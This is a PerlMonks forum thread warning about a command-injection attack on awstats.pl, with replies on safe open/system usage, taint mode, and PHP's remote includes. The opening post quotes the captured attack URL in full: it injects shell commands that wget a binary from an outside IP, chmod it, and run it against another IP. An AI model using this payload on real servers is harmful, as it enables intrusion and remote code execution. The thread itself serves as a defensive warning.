http://qs321.pair.com?node_id=507141

Hi monks,

I use awstats which is a very good webstats app written in Perl. I just had this url thrown at a web server.

/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024 +%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%202 +16%2e102%2e212%2e115;echo%20YYY;echo|


luckily said directory is password protected and i have the latest patched version.

Probably old news but just a warning to take some action if you have an old version of this installed. recent installs should be ok.

There was a CERT warning in february I think. Would hate to see tainted perl compromise any servers and didt find it in supersearch so there you go.

cheerio

Edit g0n - added code tags

Edit g0n - moved from SoPW to News

update CERT link

Replies are listed 'Best First'.
Re: Awstats Perl security
by Animator (Hermit) on Nov 09, 2005 at 17:53 UTC

    Some general hints to prevent anyone from having the same problems:

    • Always use the three-args version of open. Even for just reading a file. And always specify the mode (yes, even for reading!).
    • Always try to use system(LIST) or exec(LIST) and not system(EXPR) or exec(EXPR). You really don't want to need to quote things yourself.
    • Running code under -T (taint) can be useful aswell... (since it forces you to do something with the input before you can use it (in system, in open, ...)).

    (Update: some minor changes)

Re: Awstats Perl security
by cLive ;-) (Prior) on Nov 09, 2005 at 17:50 UTC
    It always amazes me when I see taint errors in very old and well used software. awstats caused us some real problems a while back.

    The worst though has to be PHPbb. I'm still astounded that PHP let's you include a library from another server. The mind boggles...

      You could easily include a library from another server in perl as well (maybe not as easily, but not very difficult with lwp/eval/require/do) This is not a problem with a language, but a problem with the developer knowing enough to be able to use it, but not knowing enough to know why they should not use it.

        No.

        PHP source files are basically webpages, so include is often used to manage template hierarchies. But these templates can contain code – and the function will happily fetch them from remote URLs. These factors play together to make very ordinary-looking code a potential minefield.

        In Perl, you’d use open, and you can’t give that a URL and have it work. Much less will it automatically cause code in loaded files to execute. require is very rarely used on user input and use practically never.

        So basically, in PHP, you only need to where code carelessly puts user input into file paths, whereas in Perl, you need to find a place where user input is used imprudently in an eval.

        I’d say the odds are significantly stacked against PHP in this matter.

        But, sure, once a developer has been bitten and knows to pay attention to this trap, it’s not that hard to protect against.

        Makeshifts last the longest.